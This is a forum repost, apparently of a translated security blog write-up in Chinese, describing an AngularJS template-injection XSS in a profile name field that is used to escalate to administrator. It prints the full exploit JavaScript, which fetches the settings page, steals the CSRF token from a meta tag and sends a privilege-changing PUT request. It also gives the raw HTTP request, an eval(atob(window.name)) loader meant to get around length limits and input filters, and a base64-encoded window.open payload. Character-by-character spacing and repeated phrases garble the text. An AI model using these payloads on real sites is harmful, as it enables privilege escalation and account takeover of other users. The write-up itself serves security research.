搜索

[14665] 2019-10-05_利用基于AngularJS的XSS实现提权

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-10-05_利用基于AngularJS的XSS实现提权 利 用 基 于 A n g u l a r J S 的 X S S 实 现 提 权 s e c i s t   F r e e B u f   2 0 1 9 - 1 0 - 0 5 大 家 好 ， 我 是 大 家 好 ， 我 是 S h a w a r   K h a n 。 自 我 上 次 写 作 以 来 已 经 时 隔 好 几 个 月 了 ， 这 段 时 间 我 一 直 忙 于 不 同 的 测 试 目 标 。 最 近 我 在 某 个 目 标 中 发 现 了 一 个 有 趣 的 。 自 我 上 次 写 作 以 来 已 经 时 隔 好 几 个 月 了 ， 这 段 时 间 我 一 直 忙 于 不 同 的 测 试 目 标 。 最 近 我 在 某 个 目 标 中 发 现 了 一 个 有 趣 的 X S S 漏 洞 ， 通 过 该 漏 洞 我 可 以 将 我 漏 洞 ， 通 过 该 漏 洞 我 可 以 将 我 的 权 限 提 升 为 管 理 员 用 户 。 的 权 限 提 升 为 管 理 员 用 户 。 X S S 是 一 个 非 常 有 趣 的 漏 洞 ， 在 发 现 它 之 后 ， 你 可 以 直 接 与 应 用 程 序 进 行 通 信 ， 而 无 需 担 心 同 源 策 略 。 一 切 都 在 我 们 的 控 制 之 中 ， 大 部 分 保 护 都 被 打 破 了 。 管 理 员 用 户 拥 有 应 用 程 序 的 最 高 权 限 可 以 对 任 意 用 户 执 行 添 加 / 删 除 / 编 辑 操 作 。 而 我 最 终 得 以 提 升 到 管 理 员 权 限 就 是 通 过 X S S 做 到 的 。 每 当 我 发 现 X S S ， 我 都 会 尝 试 使 用 一 些 独 特 的 方 式 来 利 用 它 们 。 令 牌 抓 取 ， C S R F 保 护 绕 过 或 是 抓 取 c o o k i e ， 现 在 看 来 已 经 显 得 有 些 过 时 。 在 我 的 测 试 期 间 ， 在 用 户 配 置 文 件 页 面 我 发 现 了 多 个 X S S 漏 洞 。 每 个 注 册 用 户 都 有 不 同 的 配 置 文 件 页 面 ， 如 “ h t t p s : / / w w w . s i t e . c o m / u s e r s / u s e r n a m e - h e r e ” 。 发 现 基 于 发 现 基 于   A n g u l a r J S   的 的 X S S ： ： 这 是 一 个 所 有 特 权 用 户 均 可 访 问 包 含 用 户 帐 户 名 和 姓 的 页 面 。 应 用 简 单 的 测 试 探 针 ， 如 " > < i m g   s r c = x   o n e r r o r = p r o m p t ( ) > " 并 没 有 显 示 任 何 结 果 ， 所 以 这 说 明 该 应 用 已 做 了 适 当 的 X S S 保 护 。 所 有 特 殊 字 符 都 被 正 确 过 滤 ， 这 引 发 了 我 的 另 一 思 考 ， 为 什 么 不 尝 试 获 取 基 于 A n g u l a r J S 的 X S S 呢 ？ 转 到 “   s e t t i n g s ” 并 将 帐 户 名 更 改 为 “ { { a l e r t ( 1 ) } } ” 。 因 此 ， 我 以 不 同 的 特 权 用 户 身 份 测 试 了 相 同 的 内 容 ， 并 导 航 到 了 我 的 配 置 文 件 / u s e r s / u s e r n a m e _ p a g e （ 任 何 用 户 均 可 访 问 ） 触 发 p a y l o a d 。 当 尝 试 提 升 权 限 时 ， 你 的 主 要 目 标 是 寻 找 能 够 编 辑 你 角 色 的 功 能 或 是 邀 请 你 进 入 不 受 限 区 域 的 功 能 。 在 我 的 例 子 中 ， 管 理 员 用 户 有 权 编 辑 / 添 加 用 户 。 在 我 的 例 子 中 ， 我 有 一 个 测 试 管 理 员 帐 户 来 测 试 这 些 问 题 ， 所 以 我 知 道 要 添 加 一 个 新 的 管 理 员 特 权 用 户 需 要 复 制 什 么 请 求 。 在 没 有 访 问 权 限 的 情 况 下 ， 你 只 需 尝 试 通 过 发 送 d o c u m e n t . b o d y . i n n e r H T M L 的 输 出 来 获 取 管 理 帐 户 的 源 码 ， 并 尝 试 获 取 有 关 内 部 功 能 的 信 息 。 可 以 利 用 X S S H u n t e r 和 其 他 一 些 工 具 来 获 取 此 类 信 息 。 如 何 提 供 如 何 提 供   p a y l o a d   ？ ？
无 论 如 何 ， 用 户 名 字 段 的 长 度 限 制 很 短 ， 因 此 无 法 在 该 字 段 中 编 写 整 个 漏 洞 利 用 代 码 。 用 户 名 还 会 将 条 目 添 加 到 配 置 文 件 页 面 ， 此 外 它 也 会 显 示 为 恶 意 内 容 。 同 样 受 限 于 长 度 ， 无 法 注 入 引 用 外 部 J a v a S c r i p t 的 脚 本 标 记 。 与 往 常 一 样 ， 我 通 过 w i n d o w . n a m e 提 供 p a y l o a d 。 我 总 是 通 过 w i n d o w . n a m e 提 供 p a y l o a d ， 因 为 它 没 有 利 用 限 制 ， 加 载 我 们 的 漏 洞 利 用 代 码 的 p a y l o a d 限 制 为 2 0 个 字 符 ， 因 为 我 们 将 只 加 载 给 定 的 p a y l o a d 并 将 其 提 供 给 e v a l ( a t o b ( t o p . n a m e ) ) 使 用 这 种 技 术 的 另 一 个 好 处 是 ， 可 以 绕 过 绕 过 许 多 恶 意 关 键 字 的 验 证 检 查 ， 因 为 我 们 的 主 要 漏 洞 利 用 代 码 不 会 被 输 入 到 易 受 攻 击 的 应 用 程 序 中 。 因 此 简 而 言 之 ， 我 们 的 攻 击 代 码 不 会 被 验 证 和 检 查 。 因 此 ， 可 以 通 过 使 用 w i n d o w . o p e n ( u r l , ” w i n d o w   n a m e   h e r e ” )   打 开 一 个 U R L 来 设 置 w i n d o w   n a m e ， 我 们 将 漏 洞 利 用 代 码 设 置 为 b a s e 6 4 。 因 此 ， 通 过 调 用 w i n d o w . n a m e ， 它 将 返 回 我 们 的 漏 洞 代 码 ， 这 些 代 码 将 由 e v a l ( ) 执 行 定 位 用 户 修 改 功 能 ： 定 位 用 户 修 改 功 能 ： 此 功 能 发 现 于 管 理 用 户 门 户 ， 并 且 最 高 权 限 用 户 能 够 任 意 更 改 应 用 程 序 中 用 户 的 数 据 和 权 限 。 这 里 有 不 同 的 选 项 ， 如 电 子 邮 件 更 改 和 复 选 框 ， 以 确 认 用 户 是 否 具 有 更 高 的 权 限 。 通 过 设 置 参 数 “ c s c = 1 ” ， 用 户 将 被 授 予 f u l l 权 限 ， 但 此 操 作 只 能 由 管 理 员 用 户 执 行 。 如 果 仅 检 索 源 码 ， 则 可 以 通 过 执 行 源 码 审 查 来 了 解 哪 些 端 点 采 用 哪 些 参 数 来 映 射 所 有 功 能 。 以 下 是 将 用 户 修 改 为 管 理 员 和 完 全 权 限 用 户 的 请 求 ： 为 了 提 升 我 们 的 权 限 ， 应 该 再 现 以 上 请 求 ， 这 样 当 更 高 权 限 用 户 访 问 我 们 的 漏 洞 利 用 代 码 时 ， 我 们 的 用 户 将 被 修 改 。 编 写 漏 洞 利 用 代 码 ： 编 写 漏 洞 利 用 代 码 ： 我 们 首 先 要 检 索 的 是 C S R F 令 牌 ， 这 样 我 们 就 可 以 验 证 请 求 。 有 时 它 会 出 现 在 c o o k i e 中 ， 因 此 从 d o c u m e n t . c o o k i e 中 检 索 它 非 常 容 易 ， 但 在 本 例 中 ， 是 在 一 个 m e t a 标 记 中 找 到 的 : 我 使 用 f e t c h ( ) 打 开 了 位 于 / s e t t i n g s 的 设 置 页 面 ， 并 将 其 输 出 存 储 在 变 量 w o o t 中 。 然 后 我 使 用 w o o t . g e t E l e m e n t s B y T a g N a m e ( ‘ m e t a ’ ) [ 3 ] [ ‘ c o n t e n t ’ ] 来 检 索 C S R F 令 牌 的 值 ， 并 将 其 存 储 到 新 变 量 c s r f _ t o k e n 中 ， 现 在 我 们 的 漏 洞 利 用 代 码 如 下 ： 现 在 我 们 将 使 用 X H R 重 现 请 求 ： 上 面 的 p r i v i l e g e _ e s c a l a t e ( ) 函 数 在 执 行 时 将 发 送 一 个 P O S T 请 求 ， 该 请 求 将 更 改 攻 击 者 帐 户 （ 在 我 的 例 子 中 为 m r s - c a m y l l e - k e r t z m a z e v a l w i n d o w n a m e ） 的 信 息 ， 并 将 名 称 更 改 为 p a y l o a d { { e v a l ( a t o b ( w i n d o w . n a m e ) ) } } 这 将 保 留 名 称 ， 因 此 当 w i n d o w . n a m e 具 有 漏 洞 利 用 代 码 时 ， 它 将 用 于 从 w i n d o w . n a m e 执 行 漏 洞 利 用 代 码 。 此 外 ， 该 请 求 的 c s c = 1 这 将 更 改 用 户 的 权 限 。 最 终 的 漏 洞 利 用 代 码 ： 最 终 的 漏 洞 利 用 代 码 ： 漏 洞 利 用 代 码 可 进 一 步 b a s e 6 4 编 码 并 用 作 w i n d o w   n a m e ， 因 此 当 e v a l ( a t o b ( w i n d o w . n a m e ) ) 执 行 该 代 码 时 将 触 发 它 。 我 们 现 在 可 以 使 用 以 下 代 码 打 开 我 们 的 配 置 文 件 页 面 ， 并 将 我 们 的 漏 洞 利 用 代 码 设 置 为 w i n d o w   n a m e 。 这 样 ， 一 旦 访 问 了 w i n d o w . n a m e ， 我 们 的 漏 洞 利 用 代 码 就 会 被 触 发 ： P O S T   / u s e r s / a t t a c k e r s - u s e r n a m e   H T T P / 1 . 1 H o s t :   v u l n e r a b l e s i t e . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 4 ;   r v : 6 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 8 . 0 A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / p l a i n ,   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 4 1 _ m e t h o d = P U T & _ t o k e n = C S R F _ T O K E N _ H E R E & n a m e = U S E R N A M E & e m a i l = U S E R _ E M A I L & p h o n e = & c s c = 1 < m e t a   n a m e = " C S R F _ T O K E N "   c o n t e n t = " T O K E N _ H E R E " > v a r   w o o t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' h t m l ' ) ; f e t c h ( ' h t t p s : / / v u l n e r a b l e s i t e . c o m / s e t t i n g s ' , { c r e d e n t i a l s :   ' i n c l u d e ' } ) . t h e n ( ( r e s p )   = >   r e s p . t e x t ( ) ) . t h e n ( f u n c t i o n ( d a t a ) { w o o t . i n n e r H T M L = d a t a ; v a r   c s r f _ t o k e n   =   w o o t . g e t E l e m e n t s B y T a g N a m e ( ' m e t a ' ) [ 3 ] [ ' c o n t e n t ' ] . . . . . . . . . f u n c t i o n   p r i v i l e g e _ e s c a l a t e ( ) { v a r   r e q   =   n e w   X M L H t t p R e q u e s t ( ) ; r e q . o p e n ( ' P O S T ' , ' h t t p s : / / v u l n e r a b l e s i t e . c o m / u s e r s / m r s - c a m y l l e - k e r t z m a z e v a l w i n d o w n a m e ' , t r u e ) ; r e q . w i t h C r e d e n t i a l s   =   t r u e ; r e q . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ) ; r e q . s e n d ( ' _ m e t h o d = P U T & _ t o k e n = ' + c s r f _ t o k e n + ' & n a m e = M r s . + C a m y l l e + K e r t z m a z % 7 B % 7 B e v a l % 2 8 w i n d o w . n a m e % 2 9 % 7 D % 7 D & e m a i l = u s e r % 4 0 e x a m p l e . o r g & p h o n e = & c s c = 1 ' ) ; } / /   X S S   E x p l o i t   c o d e   f o r   P r i v i l e g e   E s c a l a t i o n / /   A u t h o r :   S h a w a r   K h a n v a r   w o o t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' h t m l ' ) ; f e t c h ( ' h t t p s : / / v u l n e r a b l e s i t e . c o m / s e t t i n g s ' , { c r e d e n t i a l s :   ' i n c l u d e ' } ) . t h e n ( ( r e s p )   = >   r e s p . t e x t ( ) ) . t h e n ( f u n c t i o n ( d a t a ) { w o o t . i n n e r H T M L = d a t a ; v a r   c s r f _ t o k e n   =   w o o t . g e t E l e m e n t s B y T a g N a m e ( ' m e t a ' ) [ 3 ] [ ' c o n t e n t ' ] ; p r i v i l e g e _ e s c a l a t e ( ) ; f u n c t i o n   p r i v i l e g e _ e s c a l a t e ( ) { v a r   r e q   =   n e w   X M L H t t p R e q u e s t ( ) ; r e q . o p e n ( ' P O S T ' , ' h t t p s : / / v u l n e r a b l e s i t e . c o m / u s e r s / m r s - c a m y l l e - k e r t z m a z e v a l w i n d o w n a m e ' , t r u e ) ; r e q . w i t h C r e d e n t i a l s   =   t r u e ; r e q . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d " ) ; r e q . s e n d ( ' _ m e t h o d = P U T & _ t o k e n = ' + c s r f _ t o k e n + ' & n a m e = M r s . + C a m y l l e + K e r t z m a z % 7 B % 7 B e v a l % 2 8 w i n d o w . n a m e % 2 9 % 7 D % 7 D & e m a i l = u s e r % 4 0 e x a m p l e . o r g & p h o n e = & c s c = 1 ' ) ; } } ) < s c r i p t > w i n d o w . o p e n ( ' h t t p s : / / v u l n e r a b l e s i t e . c o m / u s e r s / m r s - c a m y l l e - k e r t z m a z e v a l w i n d o w n a m e ' , ' d m F y I H d v b 3 Q g P S B k b 2 N 1 b W V u d C 5 j c m V h d G V F b G V t Z W 5 0 K C d o d G 1 s J y k 7 C m Z l d G N o K C d o d H R w c z o v L 3 Z 1 b G 5 l c m F i b G V z a X R l L m N v b S 9 z Z X R 0 a W 5 n c y c s e 2 N y Z W R l b n R p Y W x z O i A n a W 5 j b H V k Z S d 9 K S 5 0 a G V u K C h y Z X N w K S A 9 P i B y Z X N w L n R l e H Q o K S k u d G h l b i h m d W 5 j d G l v b i h k Y X R h K X s K C n d v b 3 Q u a W 5 u Z X J I V E 1 M P W R h d G E 7 C n Z h c i B j c 3 J m X 3 R v a 2 V u I D 0 g d 2 9 v d C 5 n Z X R F b G V t Z W 5 0 c 0 J 5 V G F n T m F t Z S g n b W V 0 Y S c p W z N d W y d j b 2 5 0 Z W 5 0 J 1 0 7 C n B y a X Z p b G V n Z V 9 l c 2 N h b G F 0 Z S g p O w o K Z n V u Y 3 R p b 2 4 g c H J p d m l s Z W d l X 2 V z Y 2 F s Y X R l K C l 7 C n Z h c i B y Z X E g P S B u Z X c g W E 1 M S H R 0 c F J l c X V l c 3 Q o K T s K c m V x L * * w Z W 4 o J 1 B P U 1 Q n L C d o d H R w c z o v L 3 Z 1 b G 5 l c m F i b G V z a X R l L m N v b S 9 1 c 2 V y c y 9 t c n M t Y 2 F t e W x s Z S 1 r Z X J 0 e m 1 h e m V 2 Y W x 3 a W 5 k b 3 d u Y W 1 l J y x 0 c n V l K T s K c m V x L n d p d G h D c m V k Z W 5 0 a W F s c y A 9 I H R y d W U 7 C n J l c S 5 z Z X R S Z X F 1 Z X N 0 S G V h Z G V y K C J D b 2 5 0 Z W 5 0 L V R 5 c G U i L C A i Y X B w b G l j Y X R p b 2 4 v e C 1 3 d 3 c t Z * * y b S 1 1 c m x l b m N v Z G V k I i k 7 I A p y Z X E u c 2 V u Z C g n X 2 1 l d G h v Z D 1 Q V V Q m X 3 R v a 2 V u P S c r Y 3 N y Z l 9 0 b 2 t l b i s n J m 5 h b W U 9 T X J z L i t D Y W 1 5 b G x l K 0 t l c n R 6 b W F 6 J T d C J T d C Z X Z h b C U y O H d p b m R v d y 5 u Y W 1 l J T I 5 J T d E J T d E J m V t Y W l s P X V z Z X I l N D B l e G F t c G x l L * * y Z y Z w a G 9 u Z T 0 m Y 3 N j P T E n K T s K f Q o K f Q o p '
在 以 下 截 图 中 我 们 可 以 看 到 ， 我 们 的 用 户 可 以 访 问 的 功 能 受 限 ： 而 在 高 权 限 用 户 成 功 执 行 漏 洞 利 用 代 码 后 ， 我 们 的 帐 户 拥 有 了 最 高 权 限 以 及 对 管 理 功 能 的 访 问 权 限 。 如 下 图 所 示 ： 总 结 总 结 每 当 测 试 X S S 漏 洞 时 ， 千 万 不 要 因 为 应 用 程 序 对 用 户 输 入 的 正 确 过 滤 而 放 弃 。 你 应 该 进 一 步 的 通 过 尝 试 使 用 其 他 技 术 来 实 现 对 X S S 的 有 效 利 用 。 例 如 本 文 中 提 到 的 X S S 。 尝 试 使 用 { { a l e r t ( 1 } } 或 尝 试 上 传 . s w f ， . s v g ， . h t m l ， . u r l 等 文 件 。 永 远 不 要 停 留 在 漏 洞 的 检 测 上 ， 总 是 试 着 去 了 解 它 的 局 限 性 和 范 围 。 在 面 对 X S S 时 ， 尝 试 与 独 特 的 功 能 进 行 交 互 ， 而 不 仅 仅 只 是 一 个 弹 窗 。 * 参 考 来 源 ： 参 考 来 源 ： s h a w a r k h a n ， ， F B 小 编 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理